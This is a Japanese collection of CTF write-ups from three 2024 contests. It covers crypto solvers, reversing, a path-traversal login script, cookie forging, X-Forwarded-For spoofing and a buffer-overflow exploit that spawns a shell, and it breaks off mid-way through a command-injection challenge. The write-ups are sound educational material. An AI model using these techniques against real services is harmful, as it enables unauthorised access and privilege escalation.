 ・m: FLAGの数値化したもの
 ・psをソート
 ・psの各pについて以下を実行
  ・e = 2
  ・m = pow(m, e, p)
 ・mを返却
・psとcを出力

legendreの定理を使って、平方を取っていくことを繰り返す。複数の数値に復号されるので、文字列にしてフラグの形式になるものを探す。

#!/usr/bin/env python3
from Crypto.Util.number import *

def legendre(a, p):
    return pow(a, (p - 1) // 2, p)

def tonelli_shanks(a, p):
    if legendre(a, p) != 1:
        return -1

    q = p - 1
    s = 0
    while q % 2 == 0:
        q >>= 1
        s += 1

    for z in range(2, p):
        if legendre(z, p) == p - 1:
            break

    m = s
    c = pow(z, q, p)
    t = pow(a, q, p)
    r = pow(a, (q + 1) // 2, p)

    t2 = 0
    while True:
        if t == 0: return 0
        if t == 1: return r
        t2 = (t * t) % p
        for i in range(1, m):
            if t2 % p == 1:
                break
            t2 = (t2 * t2) % p
        b = pow(c, 1 << (m - i - 1), p)
        m = i
        c = (b * b) % p
        t = (t * c) % p
        r = (r * b) % p

with open('out.txt', 'r') as f:
    params = f.read().splitlines()

ps = eval(params[0].split(' = ')[1])
c = int(params[1].split(' = ')[1])

ms = [c]
for p in ps[::-1]:
    tmp = []
    for m in ms:
        x = tonelli_shanks(m, p)
        if x != -1:
            tmp.append(x)
            tmp.append(p - x)
    ms = tmp

for m in ms:
    flag = long_to_bytes(m)
    if flag.startswith(b'AKASEC{'):
        flag = flag.decode()
        print(flag)
        break
AKASEC{akasec+palestine=<3}

GCL (CRYPTO)

暗号処理の概要は以下の通り。

・BIITS = 128
・m: 128ビット素数
・s: ランダム127ビット整数
・a: ランダム127ビット整数
・b: ランダム127ビット整数
・c = []
・r = s
・FLAGの各文字について以下を実行
 ・r = lcg(r, ord(i))
  ・ord(i) * (a * r + b) % mを返却
 ・cにrを追加
・m、cを出力

flagが"AKASEC{"から始まることを前提にa, b, sを求める。
n番目の文字を処理した後のrをrnと表すと、以下のようになる。

r0 = flag[0] * (a * s + b) % m
r1 = flag[1] * (a * r0 + b) % m
r2 = flag[2] * (a * r1 + b) % m
        :

そして以下のように変形できる。

r0 * inverse(flag[0], m) = (a * s + b) % m
r1 * inverse(flag[1], m) = (a * r0 + b) % m
r2 * inverse(flag[2], m) = (a * r1 + b) % m

さらに以下のように変形でき、a, b, sを算出できる。

(r2 * inverse(flag[2], m) - r1 * inverse(flag[1], m)) % m = a * (r1 - r0) % m
a = (r2 * inverse(flag[2], m) - r1 * inverse(flag[1], m)) * inverse(r1 - r0, m) % m
b = (r1 * inverse(flag[1], m) - a * r0) % m
s = (r0 * inverse(flag[0], m) - b) * inverse(a, m) % m

あとは順に逆関数inverseを使って、flagの各文字を求めていく。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('out.txt', 'r') as f:
    params = f.read().splitlines()

m = int(params[0].split(' = ')[1])
c = eval(params[1].split(' = ')[1])

head_flag = b'AKASEC{'

a = (c[2] * inverse(head_flag[2], m) - c[1] * inverse(head_flag[1], m)) * inverse(c[1] - c[0], m) % m
b = (c[1] * inverse(head_flag[1], m) - a * c[0]) % m
s = (c[0] * inverse(head_flag[0], m) - b) * inverse(a, m) % m
print('[+] a =', a)
print('[+] b =', b)
print('[+] s =', s)

assert head_flag[0] * (a * s + b) % m == c[0]
for i in range(6):
    assert head_flag[i+1] * (a * c[i] + b) % m == c[i+1]

c = [s] + c
flag = ''
for i in range(len(c) - 1):
    code = c[i + 1] * inverse(a * c[i] + b, m) % m
    flag += chr(code)
print('[*] flag:', flag)

実行結果は以下の通り。

[+] a = 57879387829375788513313321928485165943
[+] b = 123253563871232818483050010946596502567
[+] s = 96397753169964322958020651044633108293
[*] flag: AKASEC{++see_?!_just_some_math--}
AKASEC{++see_?!_just_some_math--}

Twin (CRYPTO)

暗号処理の概要は以下の通り。

・e = 5
・p, q: 256ビット素数
・n = p * q
・m1: FLAGを数値化したもの
・m2: m1を8ビットシフトしたもの
・c1 = pow(m1, e, n)
・c2 = pow(m2, e, n)
・n, c1, c2を出力

m1は以下の式で表せる。

m1 = m2 * 256 + A (A: 0以上255以下)

m2 * 256 と m1 の差は255以下で、それぞれのRSA暗号化したものはわかる。このため、Coppersmith's Short Pad Attackで復号できる。

#!/usr/bin/env sage
from Crypto.Util.number import *

def short_pad_attack(c1, c2, e, n):
    PRxy.<x,y> = PolynomialRing(Zmod(n))
    PRx.<xn> = PolynomialRing(Zmod(n))
    PRZZ.<xz,yz> = PolynomialRing(Zmod(n))

    g1 = x^e - c1
    g2 = (x+y)^e - c2

    q1 = g1.change_ring(PRZZ)
    q2 = g2.change_ring(PRZZ)

    h = q2.resultant(q1)
    h = h.univariate_polynomial()
    h = h.change_ring(PRx).subs(y=xn)
    h = h.monic()

    kbits = n.nbits()//(2*e*e)
    diff = h.small_roots(X=2^kbits, beta=0.5)[0]

    return diff

def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]

with open('out.txt', 'r') as f:
    params = f.read().splitlines()

e = 5
n = int(params[0].split(' = ')[1])
c1 = int(params[1].split(' = ')[1])
c2 = int(params[2].split(' = ')[1])

c2_2 = c2 * pow(256, e, n) % n

diff = short_pad_attack(c2_2, c1, e, Integer(n))
m2 = related_message_attack(c2_2, c1, diff, e, n)
m1 = int(m2 + diff)
flag = long_to_bytes(m1).decode()
print(flag)
AKASEC{be_on_the_right_side_of_history_free_palestine}

N0PSctf Writeup

この大会は2024/6/1 17:00(JST)~2024/6/3 5:00(JST)に開催されました。
今回もチームで参戦。結果は1781点で631チーム中70位でした。
自分で解けた問題をWriteupとして書いておきます。

Jojo is missing! (The Rescue of Jojo)

Discordに入り、#rulesチャネルでリアクションすると、いくつかチャネルが現れた。#announcementsチャネルに以下のメッセージがある。

Here is the message:
49 66 20 61 6E 79 6F 6E 65 20 72 65 61 64 73 20 69 74 2C 20 49 20 61 6D 20 4A 6F 6A 6F 2E 20 49 20 68 61 76 65 20 62 65 65 6E 20 63 61 70 74 75 72 65 64 20 62 79 20 61 20 67 72 6F 75 70 20 63 61 6C 6C 65 64 20 4A 33 4A 75 4A 34 2E 20 50 6C 65 61 73 65 20 63 6F 6D 65 20 61 6E 64 20 73 61 76 65 20 6D 65 21 0A 4E 30 50 53 7B 4A 30 4A 30 5F 31 73 5F 6D 31 53 35 31 6E 47 21 7D

CyberChefの「From Hex」でデコードすると以下のようになった。

If anyone reads it, I am Jojo. I have been captured by a group called J3JuJ4. Please come and save me!
N0PS{J0J0_1s_m1S51nG!}
N0PS{J0J0_1s_m1S51nG!}

Jojo Chat 1/2 (The Rescue of Jojo)

サーバの処理概要は以下の通り。

・connected = False
・以下繰り返し
 ・connectedがFalseの場合
  ・option: 入力
  ・optionが"1"の場合
   ・create_account()
    ・name: 入力
    ・names: "./log"配下のファイル名のリスト
    ・namesの中にnameがあるかnameが""の間
     ・name: 入力
    ・passwd: 入力
    ・"./log/{name}"にpasswdのmd5ダイジェスト(16進数)を書き込み
  ・optionが"2"の場合
   ・connected, name = connect()
    ・name: 入力
    ・names: "./log"配下のファイル名のリスト
    ・namesの中にnameがない間
     ・name: 入力
    ・hash_pass: "./log/{name}"の内容
    ・パスワードを入力し、そのmd5ダイジェスト(16進数)とhash_passが一致しているかどうかとnameを返却
   ・connectedがFalseの場合
    ・エラーメッセージを表示
  ・optionが"3"の場合
   ・終了
 ・connectedがTrueの場合
  ・option: 入力
  ・optionが"1"の場合
   ・messages = get_all_messages()
    ・
   ・messagesの各messageについて以下を実行
    ・message[0], message[1][20:]を表示
  ・optionが"2"の場合
   ・send_message(name)
    ・message: 入力
    ・"./log/{name}"に"{時刻} {message}\n"の形式で追記
  ・optionが"3"の場合
   ・connected = False
  ・optionが"admin"の場合
   ・admin()

最初に../log/adminというユーザ名でアカウントを作成し、上書きし、ログインすれば"admin"としてログインできる。

#!/usr/bin/env python3
from pwn import *

p = remote('nopsctf-c1f6cb8b41d8-jojo_chat_v1-1.chals.io', '443', ssl=True)

name = '../log/admin'
passwd = 'P@ssw0rd'
data = p.recvuntil(b'Leave\n').decode().rstrip()
print(data)
print('1')
p.sendline(b'1')
data = p.recvuntil(b': ').decode()
print(data + name)
p.sendline(name.encode())
data = p.recvuntil(b': ').decode()
print(data + passwd)
p.sendline(passwd.encode())
for _ in range(2):
    data = p.recvline().decode().rstrip()
    print(data)

name = 'admin'
data = p.recvuntil(b'Leave\n').decode().rstrip()
print(data)
print('2')
p.sendline(b'2')
data = p.recvuntil(b': ').decode()
print(data + name)
p.sendline(name.encode())
data = p.recvuntil(b': ').decode()
print(data + passwd)
p.sendline(passwd.encode())

data = p.recvuntil(b'Logout\n').decode().rstrip()
print(data)
print('admin')
p.sendline(b'admin')
for _ in range(2):
    data = p.recvline().decode().rstrip()
    print(data)

実行結果は以下の通り。

[+] Opening connection to nopsctf-c1f6cb8b41d8-jojo_chat_v1-1.chals.io on port 443: Done
Hey, welcome to jojo chat.

Choose an option:
1) Create an account
2) Login
3) Leave
1
Enter your username: ../log/admin
Enter a password: P@ssw0rd

Account was successfully created!

Choose an option:
1) Create an account
2) Login
3) Leave
2
Username: admin
Password: P@ssw0rd

Choose an option:
1) See messages
2) Send a message
3) Logout
admin
Here is admin section. Still to develop.
N0PS{pY7h0n_p4Th_7r4v3r54l}
[*] Closed connection to nopsctf-c1f6cb8b41d8-jojo_chat_v1-1.chals.io port 443
N0PS{pY7h0n_p4Th_7r4v3r54l}

Morse Me (Misc)

CyberChefで以下の順にデコードする。

・From Morse Code
・From Hex

この結果以下のようになる。

Congratz! The flag is: N0PS{M0rS3_D3c0d3R_Pr0}
N0PS{M0rS3_D3c0d3R_Pr0}

Where Am I 1/3 (OSINT)

画像検索すると、以下のページなどが見つかる。

https://www.dpreview.com/challenges/Entry.aspx?ID=1233463&View=Results&Rows=4

この場所の名前は「Praça do Comércio」

N0PS{praca-do-comercio}

Just Read (Reverse)

Ghidraでデコンパイルする。

undefined8 main(undefined8 param_1,long param_2)

{
  char cVar1;
  char cVar2;
  char cVar3;
  char cVar4;
  char cVar5;
  char cVar6;
  char cVar7;
  char cVar8;
  char cVar9;
  char cVar10;
  char cVar11;
  char cVar12;
  char cVar13;
  char cVar14;
  char cVar15;
  char cVar16;
  char cVar17;
  char cVar18;
  char cVar19;
  char cVar20;
  char cVar21;
  char cVar22;
  char cVar23;
  char *__s;
  size_t sVar24;
  
  __s = *(char **)(param_2 + 8);
  cVar1 = *__s;
  cVar2 = __s[1];
  cVar3 = __s[2];
  cVar4 = __s[3];
  cVar5 = __s[4];
  cVar6 = __s[5];
  cVar7 = __s[6];
  cVar8 = __s[7];
  cVar9 = __s[8];
  cVar10 = __s[9];
  cVar11 = __s[10];
  cVar12 = __s[0xb];
  cVar13 = __s[0xc];
  cVar14 = __s[0xd];
  cVar15 = __s[0xe];
  cVar16 = __s[0xf];
  cVar17 = __s[0x10];
  cVar18 = __s[0x11];
  cVar19 = __s[0x12];
  cVar20 = __s[0x13];
  cVar21 = __s[0x14];
  cVar22 = __s[0x15];
  cVar23 = __s[0x16];
  sVar24 = strlen(__s);
  if (sVar24 == 0x17 &&
      ((((((((((((((((((((((cVar2 == '0' && cVar1 == 'N') && cVar3 == 'P') && cVar4 == 'S') &&
                        cVar5 == '{') && cVar6 == 'c') && cVar7 == 'H') && cVar8 == '4') &&
                    cVar9 == 'r') && cVar10 == '_') && cVar11 == '1') && cVar12 == 's') &&
                cVar13 == '_') && cVar14 == '8') && cVar15 == 'b') && cVar16 == 'i') &&
            cVar17 == 't') && cVar18 == 's') && cVar19 == '_') && cVar20 == '1') && cVar21 == 'N')
       && cVar22 == 't') && cVar23 == '}')) {
    puts("Well done, you can validate with this flag!");
  }
  else {
    puts("Wrong flag!");
  }
  return 0;
}

条件を満たすよう配列のインデックスを見て、比較している文字を並べ替える。

N0PS{cH4r_1s_8bits_1Nt}

Reverse Me (Reverse)

バイナリエディタで見ると、逆順にするとELFファイルになりそう。逆順でファイルを保存してみる。

#!/usr/bin/env python3
with open('img.jpg', 'rb') as f:
    data = f.read()

with open('img.elf', 'wb') as f:
    f.write(data[::-1])

この実行ファイルをGhidraでデコンパイルする。

void FUN_001011e0(int param_1,long param_2)

{
  char cVar1;
  ulong uVar2;
  ulong uVar3;
  ulong uVar4;
  ulong uVar5;
  ulong uVar6;
  char *__s;
  long lVar7;
  undefined1 *puVar8;
  undefined *puVar9;
  long in_FS_OFFSET;
  byte bVar10;
  undefined local_a0 [8];
  undefined local_98 [32];
  undefined local_78 [56];
  undefined8 local_40;
  
  bVar10 = 0;
  local_40 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  if (param_1 == 5) {
    uVar2 = strtol(*(char **)(param_2 + 8),(char **)0x0,10);
    uVar3 = strtol(*(char **)(param_2 + 0x10),(char **)0x0,10);
    uVar4 = strtol(*(char **)(param_2 + 0x18),(char **)0x0,10);
    uVar5 = strtol(*(char **)(param_2 + 0x20),(char **)0x0,10);
    cVar1 = FUN_00101460(uVar2 & 0xffffffff,uVar3 & 0xffffffff,uVar4 & 0xffffffff,uVar5 & 0xffffffff
                        );
    if (cVar1 != '\0') {
      uVar6 = (ulong)(uint)-(int)uVar5;
      if (0 < (int)uVar5) {
        uVar6 = uVar5 & 0xffffffff;
      }
      uVar5 = (ulong)(uint)-(int)uVar4;
      if (0 < (int)uVar4) {
        uVar5 = uVar4 & 0xffffffff;
      }
      uVar4 = (ulong)(uint)-(int)uVar3;
      if (0 < (int)uVar3) {
        uVar4 = uVar3 & 0xffffffff;
      }
      uVar3 = (ulong)(uint)-(int)uVar2;
      if (0 < (int)uVar2) {
        uVar3 = uVar2 & 0xffffffff;
      }
      __sprintf_chk(local_78,1,0x2a,"%d%d%d%d",uVar3,uVar4,uVar5,uVar6);
      puVar8 = &DAT_00102016;
      puVar9 = local_98;
      for (lVar7 = 0x19; lVar7 != 0; lVar7 = lVar7 + -1) {
        *puVar9 = *puVar8;
        puVar8 = puVar8 + (ulong)bVar10 * -2 + 1;
        puVar9 = puVar9 + (ulong)bVar10 * -2 + 1;
      }
      __s = (char *)FUN_00101a50(local_98,0x18,local_78,local_a0);
      puts(__s);
      free(__s);
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
  }
                    /* WARNING: Subroutine does not return */
  exit(-1);
}

bool FUN_00101460(int param_1,int param_2,int param_3,int param_4)

{
  bool bVar1;
  
  bVar1 = false;
  if (param_1 * -10 + param_2 * 4 + param_3 + param_4 * 3 != 0x1c) {
    return false;
  }
  if ((param_2 * 9 + param_1 * -8 + param_3 * 6 + param_4 * -2 == 0x48) &&
     (param_2 * -3 + param_1 * -2 + param_3 * -8 + param_4 == 0x1d)) {
    bVar1 = param_2 * 7 + param_1 * 5 + param_3 + param_4 * -6 == 0x58;
  }
  return bVar1;
}

FUN_00101460関数内の条件を満たすよう方程式を解く。

#!/usr/bin/env python3
import sympy

x = sympy.Symbol('x')
y = sympy.Symbol('y')
z = sympy.Symbol('z')
w = sympy.Symbol('w')

eq1 = - 10*x + 4*y + z + 3*w - 0x1c
eq2 = - 8*x + 9*y + 6*z - 2*w - 0x48
eq3 = - 2*x - 3*y - 8*z + w - 0x1d
eq4 = 5*x + 7*y + z - 6*w - 0x58

sol = sympy.solve([eq1, eq2, eq3, eq4])
print(sol)

実行結果は以下の通り。

{w: -9, x: -3, y: 8, z: -7}

これを引数に指定し、実行する。

$ ./img.elf -3 8 -7 -9
N0PS{r1CKUNr0111N6}
N0PS{r1CKUNr0111N6}

Web Cook (Web)

Usernameに"nora"と入力し、Submitすると、クッキーのsessionに以下が設定される。

eyJ1c2VybmFtZSI6Im5vcmEiLCJpc0FkbWluIjowfQ%3D%3D
||>
>|sh|
$ echo eyJ1c2VybmFtZSI6Im5vcmEiLCJpc0FkbWluIjowfQ== | base64 -d
{"username":"nora","isAdmin":0}

{"username":"nora","isAdmin":1} をbase64エンコードする。

$ echo -n '{"username":"nora","isAdmin":1}' | base64           
eyJ1c2VybmFtZSI6Im5vcmEiLCJpc0FkbWluIjoxfQ==

クッキーのsessionに以下を設定する。

eyJ1c2VybmFtZSI6Im5vcmEiLCJpc0FkbWluIjoxfQ%3D%3D

リロードすると、フラグが表示された。

N0PS{y0u_Kn0W_H0w_t0_c00K_n0W}

Outsiders (Web)

外側からアクセスを拒否しているような説明になっているので、X-Forwarded-Forヘッダで偽装する。

$ curl https://nopsctf-outsiders.chals.io/ -H "X-Forwarded-For: 127.0.0.1"
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@300..700&display=swap" rel="stylesheet">
    <title>Outsiders</title>
    <style>
    body {
        background: #000;
        font-family: 'Fira Code', monospace;
        font-optical-sizing: auto;
        padding: 2em;
        display: flex;
        align-items: center;
        justify-content: center;
        height: 50vh;
    }

    .text-slider {
        animation: slide 30s infinite;
        color: #aaa;
    }

    @media (prefers-color-scheme: dark) {
        body {
            -webkit-filter: contrast(2);
            filter: brightness(100%);
        }
    }

    @keyframes slide {
        0%   { transform: translateX(0%);  }
        50%  { transform: translateX(10vw); }
        100% { transform: translateX(0%);  }
    }
    </style>
  </head>
  <body>
    <div class="text-slider">
    <h2>I can give the flag to myself, right ? N0PS{XF0rw4Rd3D}</h2>    </div>
  </body>
</html>
N0PS{XF0rw4Rd3D}

Crypto Rookie (Crypto)

レールフェンス暗号と推測し、https://www.dcode.fr/rail-fence-cipherで復号する。

SOMETIMESAFLAGISBETTERTHANACOOKIE
N0PS{SOMETIMESAFLAGISBETTERTHANACOOKIE}

Broken OTP (Crypto)

サーバの処理概要は以下の通り。

・e: eval関数
・g: getattr関数
・b: bytearrayクラス
・i: input関数
・t = ['74696d65', '72616e646f6d', '5f5f696d706f72745f5f', '726f756e64', '73656564']
・d: hexデコード関数
・fb: builtinsモジュール
・_i: __import__関数
・s: UNIXTIME + secretの数値化
・r: random.seed
・r(s())
・choice: 入力
・choiceが"1"の場合
 ・message: 入力
 ・c(message.encode())を表示
  ・k: messageと同じ鍵の長さのランダム文字列
  ・messageとkのXORの16進数表記文字列
・choiceが"2"の場合
 ・c(secret.encode())を表示
$ sc nopsctf-broken-otp.chals.io
(connected to nopsctf-broken-otp.chals.io:443 and reading from stdin)
Welcome to our encryption service.
Choose between:
1. Encrypt your message.
2. Get the encrypted secret.
Enter your choice: 2
The secret is: 4f864a5e0c17b951af37cc3ce8c596d0df57e4

同時にアクセスすれば、同じXOR鍵で暗号化される。一方を1.で19バイトの文字列を入力し、平文と暗号文のペアを入手する。もう一方の2.でsecretの暗号化を入手できれば、復号できる。

$ sc nopsctf-broken-otp.chals.io
(connected to nopsctf-broken-otp.chals.io:443 and reading from stdin)
Welcome to our encryption service.
Choose between:
1. Encrypt your message.
2. Get the encrypted secret.
Enter your choice: 1
Please enter the message you wish to encrypt: aaaaaaaaaaaaaaaaaaa
Your encrypted message is: 613e63d12e83313ea6cfe039d211030b30dba8

$ sc nopsctf-broken-otp.chals.io
(connected to nopsctf-broken-otp.chals.io:443 and reading from stdin)
Welcome to our encryption service.
Choose between:
1. Encrypt your message.
2. Get the encrypted secret.
Enter your choice: 2
The secret is: 4e6f52e334d2240f98c5b201ec02511f6489b4
#!/usr/bin/env python3
from Crypto.Util.strxor import strxor

pt = 'aaaaaaaaaaaaaaaaaaa'
ct = bytes.fromhex('613e63d12e83313ea6cfe039d211030b30dba8')

secret_enc = bytes.fromhex('4e6f52e334d2240f98c5b201ec02511f6489b4')

key = strxor(pt.encode(), ct)
secret = strxor(secret_enc, key).decode()
print(secret)

この実行結果、secretとしてフラグが表示された。

N0PS{0tP_k3Y_r3u53}

GPN CTF 2024 Writeup

この大会は2024/5/31 19:00(JST)~2024/6/2 7:00(JST)に開催されました。
今回もチームで参戦。結果は292点で688チーム中216位でした。
自分で解けた問題をWriteupとして書いておきます。

You know the rules and so do I

Discordに入り、#rulesチャネルのメッセージを見ると、フラグが書いてあった。

GPNCTF{I'm_gonna_say_goodbye_now._Have_fun_with_the_other_challenges}

Never gonna give you UB (Pwning)

BOFでscratched_record関数をコールすれば良い。

$ gdb -q ./song_rater                         
Reading symbols from ./song_rater...
(No debugging symbols found in ./song_rater)
gdb-peda$ pattc 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/song_rater 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Song rater v0.1
-------------------

Please enter your song:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%
"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%" is an excellent choice!

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffde88 --> 0x7fffffffe215 ("/mnt/hgfs/Shared/song_rater")
RCX: 0x0 
RDX: 0x0 
RSI: 0x4052a0 ("\"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy"...)
RDI: 0x7fffffffda90 --> 0x7fffffffdac0 ("GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\" is an excellent choice!\nyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%")
RBP: 0x2541322541632541 ('A%cA%2A%')
RSP: 0x7fffffffdd78 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
RIP: 0x401238 (<main+96>:       ret)
R8 : 0xc0 
R9 : 0x1 
R10: 0x0 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffde98 --> 0x7fffffffe231 ("CLUTTER_IM_MODULE=xim")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0 
R15: 0x403e00 --> 0x401160 (<__do_global_dtors_aux>:    endbr64)
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40122d <main+85>:  call   0x401080 <printf@plt>
   0x401232 <main+90>:  mov    eax,0x0
   0x401237 <main+95>:  leave
=> 0x401238 <main+96>:  ret
   0x401239:    add    BYTE PTR [rax],al
   0x40123b:    add    bl,dh
   0x40123d <_fini+1>:  nop    edx
   0x401240 <_fini+4>:  sub    rsp,0x8
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd78 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0008| 0x7fffffffdd80 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0016| 0x7fffffffdd88 ("A%JA%fA%5A%KA%gA%6A%")
0024| 0x7fffffffdd90 ("5A%KA%gA%6A%")
0032| 0x7fffffffdd98 --> 0x7f0025413625 
0040| 0x7fffffffdda0 --> 0x7fffffffde88 --> 0x7fffffffe215 ("/mnt/hgfs/Shared/song_rater")
0048| 0x7fffffffdda8 --> 0x929f0a842551a6db 
0056| 0x7fffffffddb0 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401238 in main ()
gdb-peda$ patto HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%
HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A% found at offset: 264
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('broken-strings--nelly-furtado-8043.ctf.kitctf.de', '443', ssl=True)
else:
    p = process('./song_rater')

elf = ELF('./song_rater')

scratched_record_addr = elf.symbols['scratched_record']

payload = b'A' * 264
payload += p64(scratched_record_addr)

data = p.recvuntil(b':\n').decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().rstrip()
print(data)

for _ in range(2):
    data = p.recvline().decode().rstrip()
    print(data)

p.interactive()

実行結果は以下の通り。

[+] Opening connection to broken-strings--nelly-furtado-8043.ctf.kitctf.de on port 443: Done
[*] '/mnt/hgfs/Shared/song_rater'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Song rater v0.1
-------------------

Please enter your song:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x11@\x00\x00\x00\x00\x00'
b'"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x11@" is an excellent choice!'
Oh no, your record seems scratched :(
Here's a shell, maybe you can fix it:
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
run.sh
sbin
song_rater
srv
sys
tmp
usr
var
$ cat flag
GPNCTF{G00d_n3w5!_1t_l00ks_l1ke_y0u_r3p41r3d_y0ur_disk...}
GPNCTF{G00d_n3w5!_1t_l00ks_l1ke_y0u_r3p41r3d_y0ur_disk...}

Never gonna run around and reverse you (Reversing)

Ghidraでデコンパイルする。

undefined8 FUN_001011e9(int param_1,long param_2)

{
  char *__s;
  size_t sVar1;
  void *pvVar2;
  int local_20;
  
  if (param_1 < 2) {
    printf("Please provide a flag as an argument");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  __s = *(char **)(param_2 + 8);
  sVar1 = strlen(__s);
  pvVar2 = malloc((long)((int)sVar1 + 2));
  strcpy((char *)((long)pvVar2 + 1),__s);
  for (local_20 = 1; local_20 <= (int)sVar1; local_20 = local_20 + 1) {
    *(byte *)((long)pvVar2 + (long)local_20) =
         *(byte *)((long)pvVar2 + (long)local_20) ^ *(byte *)((long)pvVar2 + (long)local_20 + -1);
    printf("%02x",(ulong)(uint)(int)*(char *)((long)pvVar2 + (long)local_20));
  }
  putchar(10);
  return 0;
}

最初の1文字を除き、隣同士の文字のXORをしたものがhashファイルとして出力されている。このため、同様にしてフラグを復号できる。

#!/usr/bin/env python3
with open('hash', 'r') as f:
    enc = bytes.fromhex(f.read().rstrip())

flag = chr(enc[0])
for i in range(len(enc) - 1):
    flag += chr(enc[i] ^ enc[i + 1])
print(flag)
GPNCTF{W41t,_h0w_d1d_y0u_s0lv3_th1s?_I_th0ught_1t_w45_4_g00d_h45h}

Never gonna tell a lie and type you (Web)

dataにjson形式のデータを送信する必要がある。そのデータは以下の条件を満たす必要がある。

"user"のデータ === "admin&#129312;"
"password"のデータ == securePassword("password"のデータ)

この場合、"command"のデータをOSコマンドとして実行できる。また、UserAgentが"friendlyHuman"である必要がある。"e"を使って適当にパスワードを指定する。

